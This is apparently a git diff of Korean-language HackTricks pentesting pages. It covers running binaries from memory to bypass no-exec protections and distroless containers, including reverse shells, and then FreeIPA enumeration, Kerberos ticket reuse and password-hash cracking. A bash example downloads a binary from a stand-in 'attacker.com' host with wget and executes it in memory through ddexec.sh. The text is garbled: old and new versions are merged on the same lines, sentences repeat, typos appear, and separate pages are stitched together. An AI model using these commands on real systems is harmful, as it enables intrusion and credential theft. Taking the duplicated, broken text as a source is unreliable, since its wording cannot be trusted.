그러나 이겢으로 바이너리 백도어나 실행해야 할 다른 바이너리 도구를 실행해야 하는 경우에는 이것만으로 충분하지 않습니다. 그러나 이것만으로는 바이너리 백도어나 실행해야 할 다른 바이너리 도구를 실행하기에 충분하지 않습니다.
## 메모리 우회 ## 메모리 우회
파일 시스템이 실행을 허용하지 않더라도 바이너리를 실행하려면 **메모리에서 실행**하는 것이 가장 좋습니다. 왜냐하면 **보호 기능이 적용되지 않기 때문**입니다. 바이너리를 실행하고 싶지만 파일 시스템이 이를 허용하지 않는 경우, 가장 좋은 방법은 **메모리에서 실행하는 것**입니다. 왜냐하면 **그곳에서는 보호가 적용되지 않기 때문입니다**.
### FD + exec 시스템 호출 우회 ### FD + exec 시스템 호출 우회
**Python**, **Perl**, 또는 **Ruby**와 같은 강력한 스크립트 엔진이 머신 내에 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고, 이를 메모리 파일 디스크립터(`create_memfd` 시스템 호출)에 저장한 다음 **`exec` 시스템 호출**을 호출하여 **fd를 실행할 파일로 지정**할 수 있습니다. 머신 내부에 **Python**, **Perl**, 또는 **Ruby**와 같은 강력한 스크립트 엔진이 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고 메모리 파일 설명자(`create_memfd` 시스템 호출)에 저장할 수 있습니다. 이는 이러한 보호에 의해 보호되지 않으며, 그런 다음 **`exec` 시스템 호출**을 호출하여 **실행할 파일로 fd를 지정**할 수 있습니다.
이를 위해 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) 프로젝트를 쉽게 사용할 수 있습니다. 이 프로젝트에 바이너리를 전달하면 **바이너리를 압축하고 b64로 인코딩**하고 **해당 fd에 디코딩 및 압축 해제 지시**가 포함된 지정된 언어의 스크립트를 생성하여 `create_memfd` 시스템 호출을 통해 만든 **fd**에 저장하고 실행하기 위해 **exec** 시스템 호출을 호출합니다. 이를 위해 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) 프로젝트를 쉽게 사용할 수 있습니다. 바이너리를 전달하면 **바이너리가 압축되고 b64 인코딩된** 스크립트를 지정된 언어로 생성하며, **fd**를 생성하여 `create_memfd` 시스템 호출을 호출하고 이를 실행하기 위한 **exec** 시스템 호출을 포함합니다.
{% hint style="warning" %} {% hint style="warning" %}
PHP 또는 Node와 같은 다른 스크립팅 언어에서는 스크립트에서 **원시 시스템 호출을 호출하는 기본 방법**이 없기 때문에 `create_memfd`를 호출하여 **메모리 fd**를 만들 수 없으므로 이 방법은 작동하지 않습니다. 이 방법은 PHP나 Node와 같은 다른 스크립팅 언어에서는 작동하지 않습니다. 왜냐하면 스크립트에서 원시 시스템 호출을 호출하는 **기본 방법이 없기 때문**입니다. 따라서 **메모리 fd**를 생성하기 위해 `create_memfd`를 호출할 수 없습니다.
또한 `/dev/shm`파일이 있는 **일반 fd**를 만들어도 **실행할 수 없습니다**. 왜냐하면 **실행 불가 보호**가 적용되기 때문입니다. 또한 `/dev/shm`있는 파일로 **일반 fd**를 생성하는 것도 작동하지 않습니다. 왜냐하면 **실행 금지 보호**가 적용되기 때문에 실행할 수 없기 때문입니다.
{% endhint %} {% endhint %}
### DDexec / EverythingExec ### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)는 **자체 프로세스 메모리를 수정**하여 **`/proc/self/mem`**을 덮어쓰는 기술로, **프로세스가 실행하는 어셈블리 코드를 제어**하여 **쉘코드**를 작성하고 프로세스를 **임의의 코드를 실행하도록 변형**할 수 있습니다. [**DDexec / EverythingExec**](https://github.com/arget13/DDexec) 기술은 **자신의 프로세스 메모리를 수정**할 수 있게 해줍니다. **`/proc/self/mem`**을 덮어쓰는 방식으로 말입니다.
따라서 **프로세스에서 실행되는 어셈블리 코드를 제어**함으로써 **셸코드**를 작성하고 프로세스를 "변형"하여 **임의의 코드를 실행**할 수 있습니다.
{% hint style="success" %} {% hint style="success" %}
**DDexec / EverythingExec**를 사용하면 **자체 셸코드** 또는 **메모리**에서 **임의의 코드**를 실행할 수 있습니다. **DDexec / EverythingExec**를 사용하면 **메모리**에서 자신의 **셸코드** 또는 **어떤 바이너리**를 **로드하고 실행**할 수 있습니다.
{% endhint %} {% endhint %}
```bash ```bash
# Basic example # Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
``` ```
더 많은 정보는 이 기술에 대해 Github를 확인하거나:
{% content-ref url="ddexec.md" %}
[ddexec.md](ddexec.md)
{% endcontent-ref %}
### MemExec ### MemExec
[**Memexec**](https://github.com/arget13/memexec)은 DDexec의 자연스러운 다음 단계입니다. **DDexec 셸코드를 데몬화**한 것으로, **다른 이진 파일을 실행**하려는 경우에 DDexec을 다시 시작할 필요가 없습니다. 대신 DDexec 기술을 통해 memexec 셸코드를 실행한 다음 **이 데몬과 통신하여 새로운 이진 파일을 전달하고 실행**할 수 있습니다. [**Memexec**](https://github.com/arget13/memexec)는 DDexec의 자연스러운 다음 단계입니다. **다른 바이너리**를 **실행**하고 싶을 때마다 DDexec를 다시 시작할 필요 없이, DDexec 기술을 통해 memexec 셸코드를 실행하고 **이 데몬과 통신하여 새 바이너리를 로드하고 실행**할 수 있습니다.
**memexec를 사용하여 PHP 역쉘에서 이진 파일을 실행하는 예제**는 [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)에서 찾을 수 있습니다. **memexec를 사용하여 PHP 리버스 셸에서 바이너리를 실행하는 방법에 대한 예시는** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)에서 확인할 수 있습니다.
### Memdlopen ### Memdlopen
DDexec 유사한 목적을 가진 [**memdlopen**](https://github.com/arget13/memdlopen) 기술은 **메모리에 이진 파일을 로드하여 나중에 실행하는 더 쉬운 방법**을 제공합니다. 이를 통해 종속성이 있는 이진 파일을 로드할 수도 있습니다. DDexec 유사한 목적을 가진 [**memdlopen**](https://github.com/arget13/memdlopen) 기술은 **메모리에 바이너리를 로드하는 더 쉬운 방법**을 제공합니다. 이는 의존성이 있는 바이너리도 로드할 수 있게 해줄 수 있습니다.
## Distroless Bypass ## Distroless Bypass
### Distroless란 ### Distroless란 무엇인가
Distroless 컨테이너에는 특정 응용 프로그램이나 서비스를 실행하는 데 필요한 **최소한의 구성 요소만 포함**되어 있습니다. 패키지 관리자, 셸 또는 시스템 유틸리티와 같은 큰 구성 요소는 제외됩니다. Distroless 컨테이너는 특정 애플리케이션이나 서비스 실행에 필요한 **최소한의 구성 요소**만 포함하고 있으며, 패키지 관리자, 셸 또는 시스템 유틸리티와 같은 더 큰 구성 요소는 제외합니다.
Distroless 컨테이너의 목표는 **불필요한 구성 요소를 제거**함으로써 컨테이너의 공격 표면을 줄이고 악용될 수 있는 취약점의 수를 최소화하는 것입니다. Distroless 컨테이너의 목표는 **불필요한 구성 요소를 제거하여 컨테이너의 공격 표면을 줄이고** 악용될 수 있는 취약점의 수를 최소화하는 것입니다.
### 역쉘 ### 리버스 셸
Distroless 컨테이너에서는 보통 `sh``bash`와 같은 일반적인 셸을 얻을 수 없을 수 있습니다. 또한 시스템에서 보통 실행하는 `ls`, `whoami`, `id`와 같은 이진 파일도 찾을 수 없습니다. Distroless 컨테이너에서는 **정상적인 셸을 얻기 위해 `sh` 또는 `bash`를 찾을 수 없을 수도 있습니다**. `ls`, `whoami`, `id`와 같은 바이너리도 찾을 수 없습니다... 시스템에서 일반적으로 실행하는 모든 것입니다.
{% hint style="warning" %} {% hint style="warning" %}
따라서 보통 시스템에서 하는 것처럼 **역쉘을 얻거나** 시스템을 **열거**할 수 없을 것입니다. 따라서, **리버스 셸**을 얻거나 **시스템을 열거**할 수 없습니다.
{% endhint %} {% endhint %}
그러나 kompromat된 컨테이너가 예를 들어 플라스크 웹을 실행 중이라면 파이썬이 설치되어 있으므로 **Python 역쉘**을 얻을 수 있습니다. Node를 실행 중이라면 Node 역쉘을 얻을 수 있고, 대부분의 **스크립팅 언어**도 마찬가지입니다. 그러나 손상된 컨테이너가 예를 들어 플라스크 웹을 실행하고 있다면, 파이썬이 설치되어 있으므로 **파이썬 리버스 셸**을 얻을 수 있습니다. 노드를 실행하고 있다면 Node 리버스 셸을 얻을 수 있으며, 대부분의 **스크립팅 언어**에서도 마찬가지입니다.
{% hint style="success" %} {% hint style="success" %}
스크립팅 언어를 사용하여 언어 기능을 활용하여 시스템을 **열거**할 수 있습니다. 스크립팅 언어를 사용하여 **시스템을 열거**할 수 있습니다.
{% endhint %} {% endhint %}
**`read-only/no-exec`** 보호 기능이 없는 경우에는 역쉘을 악용하여 파일 시스템에 **이진 파일을 작성**하고 **실행**할 수 있습니다. **읽기 전용/실행 금지** 보호가 없다면, 리버스 셸을 악용하여 **파일 시스템에 바이너리를 작성**하고 **실행**할 수 있습니다.
{% hint style="success" %} {% hint style="success" %}
그러나 이러한 종류의 컨테이너에서는 일반적으로 이러한 보호 기능이 존재하지만, **이전 메모리 실행 기술을 사용하여 이를 우회**할 수 있습니다. 그러나 이러한 종류의 컨테이너에서는 이러한 보호가 일반적으로 존재하지만, **이전 메모리 실행 기술을 사용하여 우회할 수 있습니다**.
{% endhint %} {% endhint %}
**RCE 취약점을 악용하여 스크립팅 언어 역쉘을 얻고 메모리에서 이진 파일을 실행하는 방법에 대한** **예제**는 [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)에서 찾을 수 있습니다. **RCE 취약점을 악용하여 스크립팅 언어의 리버스 셸을 얻고 메모리에서 바이너리를 실행하는 방법에 대한 예시는** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)에서 확인할 수 있습니다.
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면!** (_유창한 폴란드어 작문 및 구사 능력 필요_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사를 HackTricks에 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,79 +1,80 @@
# FreeIPA Pentesting # FreeIPA Pentesting
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
## 기본 정보 ## Basic Information
FreeIPA는 **Unix** 환경을 위한 Microsoft Windows **Active Directory** 대체 오픈 소스입니다. Active Directory와 유사한 관리를 위해 MIT **Kerberos** 키 분배 센터와 완전한 **LDAP 디렉터리**를 결합합니다. CA 및 RA 인증서 관리를 위해 Dogtag **Certificate System**을 활용하며, 스마트카드를 포함한 **다중 인증**을 지원합니다. Unix 인증 프로세스에는 SSSD가 통합되어 있습니다. FreeIPA는 주로 **Unix** 환경을 위한 Microsoft Windows **Active Directory**의 오픈 소스 **대안**입니다. Active Directory와 유사한 관리 기능을 위해 MIT **Kerberos** 키 배포 센터와 완전한 **LDAP 디렉토리**를 결합합니다. CA 및 RA 인증서 관리를 위해 Dogtag **Certificate System**을 사용하며, 스마트카드를 포함한 **다중 인증**을 지원합니다. Unix 인증 프로세스를 위해 SSSD가 통합되어 있습니다.
## 지문 ## Fingerprints
### 파일 및 환경 변수 ### Files & Environment Variables
* `/etc/krb5.conf`에있는 파일은 도메인에 등록하는 데 필요한 Kerberos 클라이언트 정보를 저장합니다. 이에는 KDC 및 관리 서버의 위치, 기본 설정 및 매핑이 포함됩니다. * Kerberos 클라이언트 정보가 저장되는 `/etc/krb5.conf` 파일은 도메인에 등록하는 데 필요합니다. 여기에는 KDC 및 관리 서버의 위치, 기본 설정 및 매핑이 포함됩니다.
* IPA 클라이언트 및 서버의 시스템 전역 기본값은 `/etc/ipa/default.conf`에 위치한 파일에 설정됩니다. * IPA 클라이언트 및 서버에 대한 시스템 전체 기본값은 `/etc/ipa/default.conf` 파일에 설정됩니다.
* 도메인 내 호스트는 인증 프로세스를 위해 `/etc/krb5.keytab``krb5.keytab` 파일을 가져야 합니다. * 도메인 내 호스트는 인증 프로세스를 위해 `/etc/krb5.keytab``krb5.keytab` 파일을 가져야 합니다.
* 다양한 환경 변수(`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`)는 Kerberos 인증과 관련된 특정 파일 및 설정을 가리키는 데 사용됩니다. * 다양한 환경 변수(`KRB5CCNAME`, `KRB5_KTNAME`, `KRB5_CONFIG`, `KRB5_KDC_PROFILE`, `KRB5RCACHETYPE`, `KRB5RCACHEDIR`, `KRB5_TRACE`, `KRB5_CLIENT_KTNAME`, `KPROP_PORT`)는 Kerberos 인증과 관련된 특정 파일 및 설정을 가리키는 데 사용됩니다.
### 이진 파일 ### Binaries
`ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch`, `kvno`와 같은 도구는 FreeIPA 도메인을 관리하고 Kerberos 티켓을 처리하며 비밀번호를 변경하고 서비스 티켓을 획들하는 데 중요합니다. `ipa`, `kdestroy`, `kinit`, `klist`, `kpasswd`, `ksu`, `kswitch`, `kvno`와 같은 도구는 FreeIPA 도메인을 관리하고 Kerberos 티켓을 처리하며 비밀번호를 변경하고 서비스 티켓을 획득하는 등 여러 기능의 중심입니다.
### 네트워크 ### Network
전형적인 FreeIPA 서버 설정을 나타내는 그림이 제공됩니다. 일반적인 FreeIPA 서버 설정을 나타내는 그림이 제공됩니다.
## 인증 ## Authentication
**Kerberos**를 활용한 FreeIPA의 인증은 **Active Directory**와 유사합니다. 도메인 리소스에 액세스하려면 유효한 Kerberos 티켓이 필요하며, FreeIPA 도메인 구성에 따라 다양한 위치에 저장될 수 있습니다. FreeIPA의 인증은 **Kerberos**를 활용하여 **Active Directory**와 유사합니다. 도메인 리소스에 접근하려면 유효한 Kerberos 티켓이 필요하며, 이는 FreeIPA 도메인 구성에 따라 다양한 위치에 저장될 수 있습니다.
### **CCACHE 티켓 파일** ### **CCACHE Ticket Files**
일반적으로 **`/tmp`**에 **600** 권한으로 저장되는 CCACHE 파일은 이동성으로 인해 사용자의 평문 암호없이 인증에 중요한 Kerberos 자격 증명을 저장하는 이진 형식입니다. CCACHE 티켓을 구문 분석하려면 `klist` 명령을 사용하고 유효한 CCACHE 티켓을 재사용하려면 `KRB5CCNAME`을 티켓 파일의 경로로 내보내야 합니다. CCACHE 파일은 일반적으로 **`/tmp`**에 **600** 권한으로 저장되며, Kerberos 자격 증명을 저장하기 위한 이진 형식으로, 사용자의 평문 비밀번호 없이 인증에 중요합니다. CCACHE 티켓을 파싱하려면 `klist` 명령을 사용할 수 있으며, 유효한 CCACHE 티켓을 재사용하려면 `KRB5CCNAME`을 티켓 파일의 경로로 내보내야 합니다.
### **Unix 키링** ### **Unix Keyring**
신, CCACHE 티켓은 Linux 키링에 저장될 수 있으며, 티켓 관리에 대한 더 많은 제어를 제공합니다. 티켓 저장 범위는 다양하며 (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`) 사용자를 위해 이 정보를 구문 분석할 수 있는 `klist`가 있습니다. 그러나 Unix 키링에서 CCACHE 티켓을 재사용하는 것은 도전적일 수 있으며, **Tickey**와 같은 도구를 사용하여 Kerberos 티켓을 추출할 수 있습니다. 안으로, CCACHE 티켓은 Linux 키링에 저장할 수 있어 티켓 관리에 대한 더 많은 제어를 제공합니다. 티켓 저장 범위는 (`KEYRING:name`, `KEYRING:process:name`, `KEYRING:thread:name`, `KEYRING:session:name`, `KEYRING:persistent:uidnumber`)로 다양하며, `klist`는 사용자를 위해 이 정보를 파싱할 수 있습니다. 그러나 Unix 키링에서 CCACHE 티켓을 재사용하는 것은 어려울 수 있으며, Kerberos 티켓을 추출하기 위해 **Tickey**와 같은 도구가 제공됩니다.
### Keytab ### Keytab
Kerberos 주체와 암호화된 키를 포함하는 Keytab 파일은 주체의 암호를 필요로하지 않고 유효한 티켓 발급 티켓(TGT)을 얻는 데 중요합니다. Keytab 파일에서 자격 증명을 구문 분석하고 재사용하는 것은 `klist`와 **KeytabParser**와 같은 스크립트를 사용하여 쉽게 수행할 수 있습니다. Kerberos 주체와 암호화된 키를 포함하는 Keytab 파일은 주체의 비밀번호 없이 유효한 티켓 부여 티켓(TGT)을 얻는 데 중요합니다. Keytab 파일에서 자격 증명을 파싱하고 재사용하는 것은 `klist`와 **KeytabParser**와 같은 유틸리티를 사용하여 쉽게 수행할 수 있습니다.
### 치트 시트 ### Cheatsheet
리눅스에서 티켓을 사용하는 방법에 대한 자세한 정보는 다음 링크에서 찾을 수 있습니다: Linux에서 티켓을 사용하는 방법에 대한 더 많은 정보는 다음 링크에서 확인할 수 있습니다:
{% content-ref url="privilege-escalation/linux-active-directory.md" %} {% content-ref url="privilege-escalation/linux-active-directory.md" %}
[linux-active-directory.md](privilege-escalation/linux-active-directory.md) [linux-active-directory.md](privilege-escalation/linux-active-directory.md)
{% endcontent-ref %} {% endcontent-ref %}
## 열거 ## Enumeration
{% hint style="warning" %} {% hint style="warning" %}
**ldap** 및 기타 **이진** 도구를 통해 **열거**를 수행하거나 **FreeIPA 서버의 포트 443에 웹 페이지에 연결**할 수 있습니다. **ldap** 및 기타 **binary** 도구를 통해 **enumeration**을 수행하거나 **FreeIPA 서버의 포트 443에 있는 웹 페이지에 연결**할 수 있습니다.
{% endhint %} {% endhint %}
### 호스트, 사용자 및 그룹 <a href="#id-4b3b" id="id-4b3b"></a> ### Hosts, Users, and Groups <a href="#id-4b3b" id="id-4b3b"></a>
**호스트**, **사용자****그룹**을 생성할 수 있습니다. 호스트 및 사용자는 각각 "호스트 그룹" 및 "사용자 그룹"이라는 컨테이너로 분류됩니다. 이는 **조직 단위**(OU)와 유사합니다. **호스트**, **사용자****그룹**을 생성할 수 있습니다. 호스트와 사용자는 각각 “**Host Groups**” 및 “**User Groups**”라는 컨테이너로 정렬됩니다. 이는 **조직 단위**(OU)와 유사합니다.
기본적으로 FreeIPA에서 LDAP 서버는 **익명 바인드**를 허용하며, **인증되지 않은** 상태에서 많은 데이터가 열거 가능합니다. 이를 통해 모든 데이터를 인증되지 않은 상태로 열거할 수 있습니다: 기본적으로 FreeIPA에서 LDAP 서버는 **익명 바인딩**을 허용하며, 많은 데이터가 **인증되지 않은** 상태로 열람 가능합니다. 이는 인증되지 않은 모든 데이터를 열람할 수 있습니다:
``` ```
ldapsearch -x ldapsearch -x
``` ```
**더 많은 정보**를 얻으려면 **인증된** 세션을 사용해야 합니다 (인증된 세션을 준비하는 방법은 인증 섹션을 확인하세요). 더 많은 **정보**를 얻으려면 **인증된** 세션을 사용해야 합니다 (인증된 세션을 준비하는 방법은 인증 섹션을 확인하세요).
```bash ```bash
# Get all users of domain # Get all users of domain
ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local"
@ -87,7 +88,7 @@ ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local"
# Get hosts groups # Get hosts groups
ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local"
``` ```
도메인에 가입된 컴퓨터에서는 **설치된 이진 파일**을 사용하여 도메인을 열람할 수 있습니다: 도메인에 가입된 머신에서 **설치된 바이너리**를 사용하여 도메인을 열거할 수 있습니다:
```bash ```bash
ipa user-find ipa user-find
ipa usergroup-find ipa usergroup-find
@ -102,33 +103,33 @@ ipa host-find <host> --all
ipa hostgroup-show <host group> --all ipa hostgroup-show <host group> --all
``` ```
{% hint style="info" %} {% hint style="info" %}
**FreeIPA**의 **관리자** 사용자는 **AD**의 **도메인 관리자**와 동등합니다. **FreeIPA**의 **admin** 사용자는 **AD**의 **domain admins**와 동등합니다.
{% endhint %} {% endhint %}
### 해시 <a href="#id-482b" id="id-482b"></a> ### 해시 <a href="#id-482b" id="id-482b"></a>
**IPA 서버**의 **루트** 사용자는 암호 **해시**에 액세스할 수 있습니다. **IPA 서버**의 **root** 사용자는 비밀번호 **해시**에 접근할 수 있습니다.
- 사용자의 암호 해시는 “**userPassword**” **속성**에 **base64**로 저장됩니다. 이 해시는 **SSHA512** (이전 버전의 FreeIPA) 또는 **PBKDF2\_SHA256**일 수 있습니다. * 사용자의 비밀번호 해시는 “**userPassword**” **속성**에 **base64**로 저장됩니다. 이 해시는 **SSHA512** (구버전 FreeIPA) 또는 **PBKDF2\_SHA256**일 수 있습니다.
- 시스템이 **AD**와 **통합**되어 있다면 암호의 **Nthash**는 “**ipaNTHash**”에 **base64**로 저장됩니다. * 시스템이 **AD**와 **통합**되어 있으면 비밀번호의 **Nthash**는 “**ipaNTHash**”에 **base64**로 저장됩니다.
러한 해시를 해독하려면: 해시를 크랙하려면:
- FreeIPA가 AD와 통합되어 있다면, **ipaNTHash**를 쉽게 해독할 수 있습니다: **base64**를 **디코딩** -> **ASCII** 16진수로 다시 인코딩 -> John The Ripper 또는 **hashcat**을 사용하여 빠르게 해독할 수 있습니다. • FreeIPA가 AD와 통합된 경우, **ipaNTHash**는 쉽게 크랙할 수 있습니다: **base64**를 **디코드**한 후 **ASCII** 헥스로 재인코딩 -> John The Ripper 또는 **hashcat**을 사용하여 빠르게 크랙할 수 있습니다.
- 이전 버전의 FreeIPA를 사용하고 있다면, **SSHA512**를 사용하고 있을 것입니다: **base64**를 디코딩 -> SSHA512 **해시**를 찾아야 합니다 -> John The Ripper 또는 **hashcat**을 사용하여 해독할 수 있습니다. • 구버전 FreeIPA를 사용하는 경우, **SSHA512**가 사용됩니다: **base64**를 디코드한 후 SSHA512 **해시**를 찾아야 합니다 -> John The Ripper 또는 **hashcat**을 사용하여 크랙할 수 있습니다.
- 새 버전의 FreeIPA를 사용하고 있다면, **PBKDF2\_SHA256**를 사용하고 있을 것입니다: **base64**를 디코딩 -> PBKDF2\_SHA256을 찾아야 합니다 -> 길이는 256바이트입니다. John은 256비트(32바이트)와 함께 작동할 수 있습니다 -> SHA-265가 의사 난수 함수로 사용되며 블록 크기는 32바이트입니다 -> PBKDF2\_SHA256 해시의 처음 256비트만 사용할 수 있습니다 -> John The Ripper 또는 hashcat을 사용하여 해독할 수 있습니다. • 최신 버전 FreeIPA를 사용하는 경우, **PBKDF2\_SHA256**이 사용됩니다: **base64**를 디코드한 후 PBKDF2\_SHA256을 찾아야 합니다 -> 길이는 256 바이트입니다. John은 256 비트(32 바이트)로 작업할 수 있습니다 -> SHA-265가 의사 난수 함수로 사용되며, 블록 크기는 32 바이트입니다 -> PBKDF2\_SHA256 해시의 처음 256 비트만 사용할 수 있습니다 -> John The Ripper 또는 hashcat을 사용하여 크랙할 수 있습니다.
<figure><img src="../.gitbook/assets/image (655).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (655).png" alt=""><figcaption></figcaption></figure>
해시를 추출하려면 **FreeIPA 서버의 루트**여야 하며, 여기서 **`dbscan`** 도구를 사용하여 해시를 추출할 수 있습니다: 해시를 추출하려면 **FreeIPA 서버에서 root**여야 하며, 그곳에서 **`dbscan`** 도구를 사용하여 추출할 수 있습니다:
<figure><img src="../.gitbook/assets/image (293).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (293).png" alt=""><figcaption></figcaption></figure>
### HBAC-Rules <a href="#id-482b" id="id-482b"></a> ### HBAC-규칙 <a href="#id-482b" id="id-482b"></a>
이는 사용자 또는 호스트에게 특정 권한을 부여하는 규칙입니다(호스트, 서비스, 서비스 그룹 등). 사용자 또는 호스트에 자원(호스트, 서비스, 서비스 그룹 등)에 대한 특정 권한을 부여하는 규칙입니다.
```bash ```bash
# Enumerate using ldap # Enumerate using ldap
ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local"
@ -139,7 +140,7 @@ ipa hbacrule-show <hbacrule> --all
``` ```
#### Sudo-Rules #### Sudo-Rules
FreeIPA는 sudo 권한을 중앙에서 제어할 수 있도록 sudo 규칙을 활성화합니다. 이러한 규칙은 도메인 내 호스트에서 sudo를 사용하여 명령을 실행하는 것을 허용하거나 제한합니다. 공격자는 이러한 규칙 집합을 조사함으로써 적용 가능한 호스트, 사용자 및 허용된 명령을 식별할 수 있습니다. FreeIPA는 sudo-rules를 통해 **sudo 권한**에 대한 중앙 집중식 제어를 가능하게 합니다. 이러한 규칙은 도메인 내 호스트에서 sudo로 명령을 실행할 수 있도록 허용하거나 제한합니다. 공격자는 이러한 규칙 세트를 조사하여 적용 가능한 호스트, 사용자 및 허용된 명령을 식별할 수 있습니다.
```bash ```bash
# Enumerate using ldap # Enumerate using ldap
ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local"
@ -148,17 +149,17 @@ ipa sudorule-find
# Show info of rule # Show info of rule
ipa sudorule-show <sudorule> --all ipa sudorule-show <sudorule> --all
``` ```
### 역할 기반 액세스 제어 ### 역할 기반 접근 제어
